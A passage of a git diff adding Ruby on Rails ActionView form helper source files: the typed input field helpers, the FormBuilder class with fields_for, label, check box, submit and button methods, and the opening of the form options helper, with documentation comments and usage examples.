+ # telephone_field("user", "phone")
+ # # => <input id="user_phone" name="user[phone]" type="tel" />
+ #
+ def telephone_field(object_name, method, options = {})
+ Tags::TelField.new(object_name, method, self, options).render
+ end
+ # aliases telephone_field
+ alias phone_field telephone_field
+
+ # Returns a text_field of type "date".
+ #
+ # date_field("user", "born_on")
+ # # => <input id="user_born_on" name="user[born_on]" type="date" />
+ #
+ # The default value is generated by trying to call "to_date"
+ # on the object's value, which makes it behave as expected for instances
+ # of DateTime and ActiveSupport::TimeWithZone. You can still override that
+ # by passing the "value" option explicitly, e.g.
+ #
+ # @user.born_on = Date.new(1984, 1, 27)
+ # date_field("user", "born_on", value: "1984-05-12")
+ # # => <input id="user_born_on" name="user[born_on]" type="date" value="1984-05-12" />
+ #
+ def date_field(object_name, method, options = {})
+ Tags::DateField.new(object_name, method, self, options).render
+ end
+
+ # Returns a text_field of type "time".
+ #
+ # The default value is generated by trying to call +strftime+ with "%T.%L"
+ # on the objects's value. It is still possible to override that
+ # by passing the "value" option.
+ #
+ # === Options
+ # * Accepts same options as time_field_tag
+ #
+ # === Example
+ # time_field("task", "started_at")
+ # # => <input id="task_started_at" name="task[started_at]" type="time" />
+ #
+ def time_field(object_name, method, options = {})
+ Tags::TimeField.new(object_name, method, self, options).render
+ end
+
+ # Returns a text_field of type "datetime".
+ #
+ # datetime_field("user", "born_on")
+ # # => <input id="user_born_on" name="user[born_on]" type="datetime" />
+ #
+ # The default value is generated by trying to call +strftime+ with "%Y-%m-%dT%T.%L%z"
+ # on the object's value, which makes it behave as expected for instances
+ # of DateTime and ActiveSupport::TimeWithZone.
+ #
+ # @user.born_on = Date.new(1984, 1, 12)
+ # datetime_field("user", "born_on")
+ # # => <input id="user_born_on" name="user[born_on]" type="datetime" value="1984-01-12T00:00:00.000+0000" />
+ #
+ def datetime_field(object_name, method, options = {})
+ Tags::DatetimeField.new(object_name, method, self, options).render
+ end
+
+ # Returns a text_field of type "datetime-local".
+ #
+ # datetime_local_field("user", "born_on")
+ # # => <input id="user_born_on" name="user[born_on]" type="datetime-local" />
+ #
+ # The default value is generated by trying to call +strftime+ with "%Y-%m-%dT%T"
+ # on the object's value, which makes it behave as expected for instances
+ # of DateTime and ActiveSupport::TimeWithZone.
+ #
+ # @user.born_on = Date.new(1984, 1, 12)
+ # datetime_local_field("user", "born_on")
+ # # => <input id="user_born_on" name="user[born_on]" type="datetime-local" value="1984-01-12T00:00:00" />
+ #
+ def datetime_local_field(object_name, method, options = {})
+ Tags::DatetimeLocalField.new(object_name, method, self, options).render
+ end
+
+ # Returns a text_field of type "month".
+ #
+ # month_field("user", "born_on")
+ # # => <input id="user_born_on" name="user[born_on]" type="month" />
+ #
+ # The default value is generated by trying to call +strftime+ with "%Y-%m"
+ # on the object's value, which makes it behave as expected for instances
+ # of DateTime and ActiveSupport::TimeWithZone.
+ #
+ # @user.born_on = Date.new(1984, 1, 27)
+ # month_field("user", "born_on")
+ # # => <input id="user_born_on" name="user[born_on]" type="date" value="1984-01" />
+ #
+ def month_field(object_name, method, options = {})
+ Tags::MonthField.new(object_name, method, self, options).render
+ end
+
+ # Returns a text_field of type "week".
+ #
+ # week_field("user", "born_on")
+ # # => <input id="user_born_on" name="user[born_on]" type="week" />
+ #
+ # The default value is generated by trying to call +strftime+ with "%Y-W%W"
+ # on the object's value, which makes it behave as expected for instances
+ # of DateTime and ActiveSupport::TimeWithZone.
+ #
+ # @user.born_on = Date.new(1984, 5, 12)
+ # week_field("user", "born_on")
+ # # => <input id="user_born_on" name="user[born_on]" type="date" value="1984-W19" />
+ #
+ def week_field(object_name, method, options = {})
+ Tags::WeekField.new(object_name, method, self, options).render
+ end
+
+ # Returns a text_field of type "url".
+ #
+ # url_field("user", "homepage")
+ # # => <input id="user_homepage" name="user[homepage]" type="url" />
+ #
+ def url_field(object_name, method, options = {})
+ Tags::UrlField.new(object_name, method, self, options).render
+ end
+
+ # Returns a text_field of type "email".
+ #
+ # email_field("user", "address")
+ # # => <input id="user_address" name="user[address]" type="email" />
+ #
+ def email_field(object_name, method, options = {})
+ Tags::EmailField.new(object_name, method, self, options).render
+ end
+
+ # Returns an input tag of type "number".
+ #
+ # ==== Options
+ # * Accepts same options as number_field_tag
+ def number_field(object_name, method, options = {})
+ Tags::NumberField.new(object_name, method, self, options).render
+ end
+
+ # Returns an input tag of type "range".
+ #
+ # ==== Options
+ # * Accepts same options as range_field_tag
+ def range_field(object_name, method, options = {})
+ Tags::RangeField.new(object_name, method, self, options).render
+ end
+
+ private
+
+ def instantiate_builder(record_name, record_object, options)
+ case record_name
+ when String, Symbol
+ object = record_object
+ object_name = record_name
+ else
+ object = record_name
+ object_name = model_name_from_record_or_class(object).param_key
+ end
+
+ builder = options[:builder] || default_form_builder
+ builder.new(object_name, object, self, options)
+ end
+
+ def default_form_builder
+ builder = ActionView::Base.default_form_builder
+ builder.respond_to?(:constantize) ? builder.constantize : builder
+ end
+ end
+
+ # A +FormBuilder+ object is associated with a particular model object and
+ # allows you to generate fields associated with the model object. The
+ # +FormBuilder+ object is yielded when using +form_for+ or +fields_for+.
+ # For example:
+ #
+ # <%= form_for @person do |person_form| %>
+ # Name: <%= person_form.text_field :name %>
+ # Admin: <%= person_form.check_box :admin %>
+ # <% end %>
+ #
+ # In the above block, the a +FormBuilder+ object is yielded as the
+ # +person_form+ variable. This allows you to generate the +text_field+
+ # and +check_box+ fields by specifying their eponymous methods, which
+ # modify the underlying template and associates the + at person+ model object
+ # with the form.
+ #
+ # The +FormBuilder+ object can be thought of as serving as a proxy for the
+ # methods in the +FormHelper+ module. This class, however, allows you to
+ # call methods with the model object you are building the form for.
+ #
+ # You can create your own custom FormBuilder templates by subclasses this
+ # class. For example:
+ #
+ # class MyFormBuilder < ActionView::Helpers::FormBuilder
+ # def div_radio_button(method, tag_value, options = {})
+ # @template.content_tag(:div,
+ # @template.radio_button(
+ # @object_name, method, tag_value, objectify_options(options)
+ # )
+ # )
+ # end
+ #
+ # The above code creates a new method +div_radio_button+ which wraps a div
+ # around the a new radio button. Note that when options are passed in, you
+ # must called +objectify_options+ in order for the model object to get
+ # correctly passed to the method. If +objectify_options+ is not called,
+ # then the newly created helper will not be linked back to the model.
+ #
+ # The +div_radio_button+ code from above can now be used as follows:
+ #
+ # <%= form_for @person, :builder => MyFormBuilder do |f| %>
+ # I am a child: <%= f.div_radio_button(:admin, "child") %>
+ # I am an adult: <%= f.div_radio_button(:admin, "adult") %>
+ # <% end -%>
+ #
+ # The standard set of helper methods for form building are located in the
+ # +field_helpers+ class attribute.
+ class FormBuilder
+ include ModelNaming
+
+ # The methods which wrap a form helper call.
+ class_attribute :field_helpers
+ self.field_helpers = [:fields_for, :label, :text_field, :password_field,
+ :hidden_field, :file_field, :text_area, :check_box,
+ :radio_button, :color_field, :search_field,
+ :telephone_field, :phone_field, :date_field,
+ :time_field, :datetime_field, :datetime_local_field,
+ :month_field, :week_field, :url_field, :email_field,
+ :number_field, :range_field]
+
+ attr_accessor :object_name, :object, :options
+
+ attr_reader :multipart, :index
+ alias :multipart? :multipart
+
+ def multipart=(multipart)
+ @multipart = multipart
+
+ if parent_builder = @options[:parent_builder]
+ parent_builder.multipart = multipart
+ end
+ end
+
+ def self._to_partial_path
+ @_to_partial_path ||= name.demodulize.underscore.sub!(/_builder$/, '')
+ end
+
+ def to_partial_path
+ self.class._to_partial_path
+ end
+
+ def to_model
+ self
+ end
+
+ def initialize(object_name, object, template, options, block=nil)
+ if block
+ ActiveSupport::Deprecation.warn "Giving a block to FormBuilder is deprecated and has no effect anymore."
+ end
+
+ @nested_child_index = {}
+ @object_name, @object, @template, @options = object_name, object, template, options
+ @default_options = @options ? @options.slice(:index, :namespace) : {}
+ if @object_name.to_s.match(/\[\]$/)
+ if object ||= @template.instance_variable_get("@#{Regexp.last_match.pre_match}") and object.respond_to?(:to_param)
+ @auto_index = object.to_param
+ else
+ raise ArgumentError, "object[] naming but object param and @object var don't exist or don't respond to to_param: #{object.inspect}"
+ end
+ end
+ @multipart = nil
+ @index = options[:index] || options[:child_index]
+ end
+
+ (field_helpers - [:label, :check_box, :radio_button, :fields_for, :hidden_field, :file_field]).each do |selector|
+ class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
+ def #{selector}(method, options = {}) # def text_field(method, options = {})
+ @template.send( # @template.send(
+ #{selector.inspect}, # "text_field",
+ @object_name, # @object_name,
+ method, # method,
+ objectify_options(options)) # objectify_options(options))
+ end # end
+ RUBY_EVAL
+ end
+
+ # Creates a scope around a specific model object like form_for, but
+ # doesn't create the form tags themselves. This makes fields_for suitable
+ # for specifying additional model objects in the same form.
+ #
+ # Although the usage and purpose of +field_for+ is similar to +form_for+'s,
+ # its method signature is slightly different. Like +form_for+, it yields
+ # a FormBuilder object associated with a particular model object to a block,
+ # and within the block allows methods to be called on the builder to
+ # generate fields associated with the model object. Fields may reflect
+ # a model object in two ways - how they are named (hence how submitted
+ # values appear within the +params+ hash in the controller) and what
+ # default values are shown when the form the fields appear in is first
+ # displayed. In order for both of these features to be specified independently,
+ # both an object name (represented by either a symbol or string) and the
+ # object itself can be passed to the method separately -
+ #
+ # <%= form_for @person do |person_form| %>
+ # First name: <%= person_form.text_field :first_name %>
+ # Last name : <%= person_form.text_field :last_name %>
+ #
+ # <%= fields_for :permission, @person.permission do |permission_fields| %>
+ # Admin? : <%= permission_fields.check_box :admin %>
+ # <% end %>
+ #
+ # <%= person_form.submit %>
+ # <% end %>
+ #
+ # In this case, the checkbox field will be represented by an HTML +input+
+ # tag with the +name+ attribute <tt>permission[admin]</tt>, and the submitted
+ # value will appear in the controller as <tt>params[:permission][:admin]</tt>.
+ # If <tt>@person.permission</tt> is an existing record with an attribute
+ # +admin+, the initial state of the checkbox when first displayed will
+ # reflect the value of <tt>@person.permission.admin</tt>.
+ #
+ # Often this can be simplified by passing just the name of the model
+ # object to +fields_for+ -
+ #
+ # <%= fields_for :permission do |permission_fields| %>
+ # Admin?: <%= permission_fields.check_box :admin %>
+ # <% end %>
+ #
+ # ...in which case, if <tt>:permission</tt> also happens to be the name of an
+ # instance variable <tt>@permission</tt>, the initial state of the input
+ # field will reflect the value of that variable's attribute <tt>@permission.admin</tt>.
+ #
+ # Alternatively, you can pass just the model object itself (if the first
+ # argument isn't a string or symbol +fields_for+ will realize that the
+ # name has been omitted) -
+ #
+ # <%= fields_for @person.permission do |permission_fields| %>
+ # Admin?: <%= permission_fields.check_box :admin %>
+ # <% end %>
+ #
+ # and +fields_for+ will derive the required name of the field from the
+ # _class_ of the model object, e.g. if <tt>@person.permission</tt>, is
+ # of class +Permission+, the field will still be named <tt>permission[admin]</tt>.
+ #
+ # Note: This also works for the methods in FormOptionHelper and
+ # DateHelper that are designed to work with an object as base, like
+ # FormOptionHelper#collection_select and DateHelper#datetime_select.
+ #
+ # === Nested Attributes Examples
+ #
+ # When the object belonging to the current scope has a nested attribute
+ # writer for a certain attribute, fields_for will yield a new scope
+ # for that attribute. This allows you to create forms that set or change
+ # the attributes of a parent object and its associations in one go.
+ #
+ # Nested attribute writers are normal setter methods named after an
+ # association. The most common way of defining these writers is either
+ # with +accepts_nested_attributes_for+ in a model definition or by
+ # defining a method with the proper name. For example: the attribute
+ # writer for the association <tt>:address</tt> is called
+ # <tt>address_attributes=</tt>.
+ #
+ # Whether a one-to-one or one-to-many style form builder will be yielded
+ # depends on whether the normal reader method returns a _single_ object
+ # or an _array_ of objects.
+ #
+ # ==== One-to-one
+ #
+ # Consider a Person class which returns a _single_ Address from the
+ # <tt>address</tt> reader method and responds to the
+ # <tt>address_attributes=</tt> writer method:
+ #
+ # class Person
+ # def address
+ # @address
+ # end
+ #
+ # def address_attributes=(attributes)
+ # # Process the attributes hash
+ # end
+ # end
+ #
+ # This model can now be used with a nested fields_for, like so:
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :address do |address_fields| %>
+ # Street : <%= address_fields.text_field :street %>
+ # Zip code: <%= address_fields.text_field :zip_code %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # When address is already an association on a Person you can use
+ # +accepts_nested_attributes_for+ to define the writer method for you:
+ #
+ # class Person < ActiveRecord::Base
+ # has_one :address
+ # accepts_nested_attributes_for :address
+ # end
+ #
+ # If you want to destroy the associated model through the form, you have
+ # to enable it first using the <tt>:allow_destroy</tt> option for
+ # +accepts_nested_attributes_for+:
+ #
+ # class Person < ActiveRecord::Base
+ # has_one :address
+ # accepts_nested_attributes_for :address, allow_destroy: true
+ # end
+ #
+ # Now, when you use a form element with the <tt>_destroy</tt> parameter,
+ # with a value that evaluates to +true+, you will destroy the associated
+ # model (eg. 1, '1', true, or 'true'):
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :address do |address_fields| %>
+ # ...
+ # Delete: <%= address_fields.check_box :_destroy %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # ==== One-to-many
+ #
+ # Consider a Person class which returns an _array_ of Project instances
+ # from the <tt>projects</tt> reader method and responds to the
+ # <tt>projects_attributes=</tt> writer method:
+ #
+ # class Person
+ # def projects
+ # [@project1, @project2]
+ # end
+ #
+ # def projects_attributes=(attributes)
+ # # Process the attributes hash
+ # end
+ # end
+ #
+ # Note that the <tt>projects_attributes=</tt> writer method is in fact
+ # required for fields_for to correctly identify <tt>:projects</tt> as a
+ # collection, and the correct indices to be set in the form markup.
+ #
+ # When projects is already an association on Person you can use
+ # +accepts_nested_attributes_for+ to define the writer method for you:
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :projects
+ # accepts_nested_attributes_for :projects
+ # end
+ #
+ # This model can now be used with a nested fields_for. The block given to
+ # the nested fields_for call will be repeated for each instance in the
+ # collection:
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :projects do |project_fields| %>
+ # <% if project_fields.object.active? %>
+ # Name: <%= project_fields.text_field :name %>
+ # <% end %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # It's also possible to specify the instance to be used:
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <% @person.projects.each do |project| %>
+ # <% if project.active? %>
+ # <%= person_form.fields_for :projects, project do |project_fields| %>
+ # Name: <%= project_fields.text_field :name %>
+ # <% end %>
+ # <% end %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # Or a collection to be used:
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :projects, @active_projects do |project_fields| %>
+ # Name: <%= project_fields.text_field :name %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # If you want to destroy any of the associated models through the
+ # form, you have to enable it first using the <tt>:allow_destroy</tt>
+ # option for +accepts_nested_attributes_for+:
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :projects
+ # accepts_nested_attributes_for :projects, allow_destroy: true
+ # end
+ #
+ # This will allow you to specify which models to destroy in the
+ # attributes hash by adding a form element for the <tt>_destroy</tt>
+ # parameter with a value that evaluates to +true+
+ # (eg. 1, '1', true, or 'true'):
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :projects do |project_fields| %>
+ # Delete: <%= project_fields.check_box :_destroy %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # When a collection is used you might want to know the index of each
+ # object into the array. For this purpose, the <tt>index</tt> method
+ # is available in the FormBuilder object.
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :projects do |project_fields| %>
+ # Project #<%= project_fields.index %>
+ # ...
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # Note that fields_for will automatically generate a hidden field
+ # to store the ID of the record. There are circumstances where this
+ # hidden field is not needed and you can pass <tt>hidden_field_id: false</tt>
+ # to prevent fields_for from rendering it automatically.
+ def fields_for(record_name, record_object = nil, fields_options = {}, &block)
+ fields_options, record_object = record_object, nil if record_object.is_a?(Hash) && record_object.extractable_options?
+ fields_options[:builder] ||= options[:builder]
+ fields_options[:namespace] = options[:namespace]
+ fields_options[:parent_builder] = self
+
+ case record_name
+ when String, Symbol
+ if nested_attributes_association?(record_name)
+ return fields_for_with_nested_attributes(record_name, record_object, fields_options, block)
+ end
+ else
+ record_object = record_name.is_a?(Array) ? record_name.last : record_name
+ record_name = model_name_from_record_or_class(record_object).param_key
+ end
+
+ index = if options.has_key?(:index)
+ options[:index]
+ elsif defined?(@auto_index)
+ self.object_name = @object_name.to_s.sub(/\[\]$/,"")
+ @auto_index
+ end
+
+ record_name = index ? "#{object_name}[#{index}][#{record_name}]" : "#{object_name}[#{record_name}]"
+ fields_options[:child_index] = index
+
+ @template.fields_for(record_name, record_object, fields_options, &block)
+ end
+
+ # Returns a label tag tailored for labelling an input field for a specified attribute (identified by +method+) on an object
+ # assigned to the template (identified by +object+). The text of label will default to the attribute name unless a translation
+ # is found in the current I18n locale (through helpers.label.<modelname>.<attribute>) or you specify it explicitly.
+ # Additional options on the label tag can be passed as a hash with +options+. These options will be tagged
+ # onto the HTML as an HTML element attribute as in the example shown, except for the <tt>:value</tt> option, which is designed to
+ # target labels for radio_button tags (where the value is used in the ID of the input tag).
+ #
+ # ==== Examples
+ # label(:post, :title)
+ # # => <label for="post_title">Title</label>
+ #
+ # You can localize your labels based on model and attribute names.
+ # For example you can define the following in your locale (e.g. en.yml)
+ #
+ # helpers:
+ # label:
+ # post:
+ # body: "Write your entire text here"
+ #
+ # Which then will result in
+ #
+ # label(:post, :body)
+ # # => <label for="post_body">Write your entire text here</label>
+ #
+ # Localization can also be based purely on the translation of the attribute-name
+ # (if you are using ActiveRecord):
+ #
+ # activerecord:
+ # attributes:
+ # post:
+ # cost: "Total cost"
+ #
+ # label(:post, :cost)
+ # # => <label for="post_cost">Total cost</label>
+ #
+ # label(:post, :title, "A short title")
+ # # => <label for="post_title">A short title</label>
+ #
+ # label(:post, :title, "A short title", class: "title_label")
+ # # => <label for="post_title" class="title_label">A short title</label>
+ #
+ # label(:post, :privacy, "Public Post", value: "public")
+ # # => <label for="post_privacy_public">Public Post</label>
+ #
+ # label(:post, :terms) do
+ # 'Accept <a href="/terms">Terms</a>.'.html_safe
+ # end
+ def label(method, text = nil, options = {}, &block)
+ @template.label(@object_name, method, text, objectify_options(options), &block)
+ end
+
+ # Returns a checkbox tag tailored for accessing a specified attribute (identified by +method+) on an object
+ # assigned to the template (identified by +object+). This object must be an instance object (@object) and not a local object.
+ # It's intended that +method+ returns an integer and if that integer is above zero, then the checkbox is checked.
+ # Additional options on the input tag can be passed as a hash with +options+. The +checked_value+ defaults to 1
+ # while the default +unchecked_value+ is set to 0 which is convenient for boolean values.
+ #
+ # ==== Gotcha
+ #
+ # The HTML specification says unchecked check boxes are not successful, and
+ # thus web browsers do not send them. Unfortunately this introduces a gotcha:
+ # if an +Invoice+ model has a +paid+ flag, and in the form that edits a paid
+ # invoice the user unchecks its check box, no +paid+ parameter is sent. So,
+ # any mass-assignment idiom like
+ #
+ # @invoice.update(params[:invoice])
+ #
+ # wouldn't update the flag.
+ #
+ # To prevent this the helper generates an auxiliary hidden field before
+ # the very check box. The hidden field has the same name and its
+ # attributes mimic an unchecked check box.
+ #
+ # This way, the client either sends only the hidden field (representing
+ # the check box is unchecked), or both fields. Since the HTML specification
+ # says key/value pairs have to be sent in the same order they appear in the
+ # form, and parameters extraction gets the last occurrence of any repeated
+ # key in the query string, that works for ordinary forms.
+ #
+ # Unfortunately that workaround does not work when the check box goes
+ # within an array-like parameter, as in
+ #
+ # <%= fields_for "project[invoice_attributes][]", invoice, index: nil do |form| %>
+ # <%= form.check_box :paid %>
+ # ...
+ # <% end %>
+ #
+ # because parameter name repetition is precisely what Rails seeks to distinguish
+ # the elements of the array. For each item with a checked check box you
+ # get an extra ghost item with only that attribute, assigned to "0".
+ #
+ # In that case it is preferable to either use +check_box_tag+ or to use
+ # hashes instead of arrays.
+ #
+ # # Let's say that @post.validated? is 1:
+ # check_box("post", "validated")
+ # # => <input name="post[validated]" type="hidden" value="0" />
+ # # <input checked="checked" type="checkbox" id="post_validated" name="post[validated]" value="1" />
+ #
+ # # Let's say that @puppy.gooddog is "no":
+ # check_box("puppy", "gooddog", {}, "yes", "no")
+ # # => <input name="puppy[gooddog]" type="hidden" value="no" />
+ # # <input type="checkbox" id="puppy_gooddog" name="puppy[gooddog]" value="yes" />
+ #
+ # check_box("eula", "accepted", { class: 'eula_check' }, "yes", "no")
+ # # => <input name="eula[accepted]" type="hidden" value="no" />
+ # # <input type="checkbox" class="eula_check" id="eula_accepted" name="eula[accepted]" value="yes" />
+ def check_box(method, options = {}, checked_value = "1", unchecked_value = "0")
+ @template.check_box(@object_name, method, objectify_options(options), checked_value, unchecked_value)
+ end
+
+ # Returns a radio button tag for accessing a specified attribute (identified by +method+) on an object
+ # assigned to the template (identified by +object+). If the current value of +method+ is +tag_value+ the
+ # radio button will be checked.
+ #
+ # To force the radio button to be checked pass <tt>checked: true</tt> in the
+ # +options+ hash. You may pass HTML options there as well.
+ #
+ # # Let's say that @post.category returns "rails":
+ # radio_button("post", "category", "rails")
+ # radio_button("post", "category", "java")
+ # # => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" />
+ # # <input type="radio" id="post_category_java" name="post[category]" value="java" />
+ #
+ # radio_button("user", "receive_newsletter", "yes")
+ # radio_button("user", "receive_newsletter", "no")
+ # # => <input type="radio" id="user_receive_newsletter_yes" name="user[receive_newsletter]" value="yes" />
+ # # <input type="radio" id="user_receive_newsletter_no" name="user[receive_newsletter]" value="no" checked="checked" />
+ def radio_button(method, tag_value, options = {})
+ @template.radio_button(@object_name, method, tag_value, objectify_options(options))
+ end
+
+ # Returns a hidden input tag tailored for accessing a specified attribute (identified by +method+) on an object
+ # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+ # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
+ # shown.
+ #
+ # ==== Examples
+ # hidden_field(:signup, :pass_confirm)
+ # # => <input type="hidden" id="signup_pass_confirm" name="signup[pass_confirm]" value="#{@signup.pass_confirm}" />
+ #
+ # hidden_field(:post, :tag_list)
+ # # => <input type="hidden" id="post_tag_list" name="post[tag_list]" value="#{@post.tag_list}" />
+ #
+ # hidden_field(:user, :token)
+ # # => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
+ #
+ def hidden_field(method, options = {})
+ @emitted_hidden_id = true if method == :id
+ @template.hidden_field(@object_name, method, objectify_options(options))
+ end
+
+ # Returns a file upload input tag tailored for accessing a specified attribute (identified by +method+) on an object
+ # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+ # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
+ # shown.
+ #
+ # Using this method inside a +form_for+ block will set the enclosing form's encoding to <tt>multipart/form-data</tt>.
+ #
+ # ==== Options
+ # * Creates standard HTML attributes for the tag.
+ # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+ # * <tt>:multiple</tt> - If set to true, *in most updated browsers* the user will be allowed to select multiple files.
+ # * <tt>:accept</tt> - If set to one or multiple mime-types, the user will be suggested a filter when choosing a file. You still need to set up model validations.
+ #
+ # ==== Examples
+ # file_field(:user, :avatar)
+ # # => <input type="file" id="user_avatar" name="user[avatar]" />
+ #
+ # file_field(:post, :image, :multiple => true)
+ # # => <input type="file" id="post_image" name="post[image]" multiple="true" />
+ #
+ # file_field(:post, :attached, accept: 'text/html')
+ # # => <input accept="text/html" type="file" id="post_attached" name="post[attached]" />
+ #
+ # file_field(:post, :image, accept: 'image/png,image/gif,image/jpeg')
+ # # => <input type="file" id="post_image" name="post[image]" accept="image/png,image/gif,image/jpeg" />
+ #
+ # file_field(:attachment, :file, class: 'file_input')
+ # # => <input type="file" id="attachment_file" name="attachment[file]" class="file_input" />
+ def file_field(method, options = {})
+ self.multipart = true
+ @template.file_field(@object_name, method, objectify_options(options))
+ end
+
+ # Add the submit button for the given form. When no value is given, it checks
+ # if the object is a new resource or not to create the proper label:
+ #
+ # <%= form_for @post do |f| %>
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # In the example above, if @post is a new record, it will use "Create Post" as
+ # submit button label, otherwise, it uses "Update Post".
+ #
+ # Those labels can be customized using I18n, under the helpers.submit key and accept
+ # the %{model} as translation interpolation:
+ #
+ # en:
+ # helpers:
+ # submit:
+ # create: "Create a %{model}"
+ # update: "Confirm changes to %{model}"
+ #
+ # It also searches for a key specific for the given object:
+ #
+ # en:
+ # helpers:
+ # submit:
+ # post:
+ # create: "Add %{model}"
+ #
+ def submit(value=nil, options={})
+ value, options = nil, value if value.is_a?(Hash)
+ value ||= submit_default_value
+ @template.submit_tag(value, options)
+ end
+
+ # Add the submit button for the given form. When no value is given, it checks
+ # if the object is a new resource or not to create the proper label:
+ #
+ # <%= form_for @post do |f| %>
+ # <%= f.button %>
+ # <% end %>
+ #
+ # In the example above, if @post is a new record, it will use "Create Post" as
+ # button label, otherwise, it uses "Update Post".
+ #
+ # Those labels can be customized using I18n, under the helpers.submit key
+ # (the same as submit helper) and accept the %{model} as translation interpolation:
+ #
+ # en:
+ # helpers:
+ # submit:
+ # create: "Create a %{model}"
+ # update: "Confirm changes to %{model}"
+ #
+ # It also searches for a key specific for the given object:
+ #
+ # en:
+ # helpers:
+ # submit:
+ # post:
+ # create: "Add %{model}"
+ #
+ # ==== Examples
+ # button("Create a post")
+ # # => <button name='button' type='submit'>Create post</button>
+ #
+ # button do
+ # content_tag(:strong, 'Ask me!')
+ # end
+ # # => <button name='button' type='submit'>
+ # # <strong>Ask me!</strong>
+ # # </button>
+ #
+ def button(value = nil, options = {}, &block)
+ value, options = nil, value if value.is_a?(Hash)
+ value ||= submit_default_value
+ @template.button_tag(value, options, &block)
+ end
+
+ def emitted_hidden_id?
+ @emitted_hidden_id ||= nil
+ end
+
+ private
+ def objectify_options(options)
+ @default_options.merge(options.merge(object: @object))
+ end
+
+ def submit_default_value
+ object = convert_to_model(@object)
+ key = object ? (object.persisted? ? :update : :create) : :submit
+
+ model = if object.class.respond_to?(:model_name)
+ object.class.model_name.human
+ else
+ @object_name.to_s.humanize
+ end
+
+ defaults = []
+ defaults << :"helpers.submit.#{object_name}.#{key}"
+ defaults << :"helpers.submit.#{key}"
+ defaults << "#{key.to_s.humanize} #{model}"
+
+ I18n.t(defaults.shift, model: model, default: defaults)
+ end
+
+ def nested_attributes_association?(association_name)
+ @object.respond_to?("#{association_name}_attributes=")
+ end
+
+ def fields_for_with_nested_attributes(association_name, association, options, block)
+ name = "#{object_name}[#{association_name}_attributes]"
+ association = convert_to_model(association)
+
+ if association.respond_to?(:persisted?)
+ association = [association] if @object.send(association_name).respond_to?(:to_ary)
+ elsif !association.respond_to?(:to_ary)
+ association = @object.send(association_name)
+ end
+
+ if association.respond_to?(:to_ary)
+ explicit_child_index = options[:child_index]
+ output = ActiveSupport::SafeBuffer.new
+ association.each do |child|
+ options[:child_index] = nested_child_index(name) unless explicit_child_index
+ output << fields_for_nested_model("#{name}[#{options[:child_index]}]", child, options, block)
+ end
+ output
+ elsif association
+ fields_for_nested_model(name, association, options, block)
+ end
+ end
+
+ def fields_for_nested_model(name, object, fields_options, block)
+ object = convert_to_model(object)
+ emit_hidden_id = object.persisted? && fields_options.fetch(:include_id) {
+ options.fetch(:include_id, true)
+ }
+
+ @template.fields_for(name, object, fields_options) do |f|
+ output = @template.capture(f, &block)
+ output.concat f.hidden_field(:id) if output && emit_hidden_id && !f.emitted_hidden_id?
+ output
+ end
+ end
+
+ def nested_child_index(name)
+ @nested_child_index[name] ||= -1
+ @nested_child_index[name] += 1
+ end
+ end
+ end
+
+ ActiveSupport.on_load(:action_view) do
+ cattr_accessor(:default_form_builder) { ::ActionView::Helpers::FormBuilder }
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/form_options_helper.rb b/actionpack/lib/action_view/helpers/form_options_helper.rb
new file mode 100644
index 0000000..719c9c0
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/form_options_helper.rb
@@ -0,0 +1,833 @@
+require 'cgi'
+require 'erb'
+require 'action_view/helpers/form_helper'
+require 'active_support/core_ext/string/output_safety'
+require 'active_support/core_ext/array/extract_options'
+require 'active_support/core_ext/array/wrap'
+
+module ActionView
+ # = Action View Form Option Helpers
+ module Helpers
+ # Provides a number of methods for turning different kinds of containers into a set of option tags.
+ #
+ # The <tt>collection_select</tt>, <tt>select</tt> and <tt>time_zone_select</tt> methods take an <tt>options</tt> parameter, a hash:
+ #
+ # * <tt>:include_blank</tt> - set to true or a prompt string if the first option element of the select element is a blank. Useful if there is not a default value required for the select element.
+ #
+ # select("post", "category", Post::CATEGORIES, {include_blank: true})
+ #
+ # could become:
+ #
+ # <select name="post[category]">
+ # <option></option>
+ # <option>joke</option>
+ # <option>poem</option>
+ # </select>
+ #
+ # Another common case is a select tag for a <tt>belongs_to</tt>-associated object.
+ #
+ # Example with @post.person_id => 2:
+ #
+ # select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {include_blank: 'None'})
+ #
+ # could become:
+ #
+ # <select name="post[person_id]">
+ # <option value="">None</option>
+ # <option value="1">David</option>
+ # <option value="2" selected="selected">Sam</option>
+ # <option value="3">Tobias</option>
+ # </select>
+ #
+ # * <tt>:prompt</tt> - set to true or a prompt string. When the select element doesn't have a value yet, this prepends an option with a generic prompt -- "Please select" -- or the given prompt string.
+ #
+ # select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {prompt: 'Select Person'})
+ #
+ # could become:
+ #
+ # <select name="post[person_id]">
+ # <option value="">Select Person</option>
+ # <option value="1">David</option>
+ # <option value="2">Sam</option>
+ # <option value="3">Tobias</option>
+ # </select>
+ #
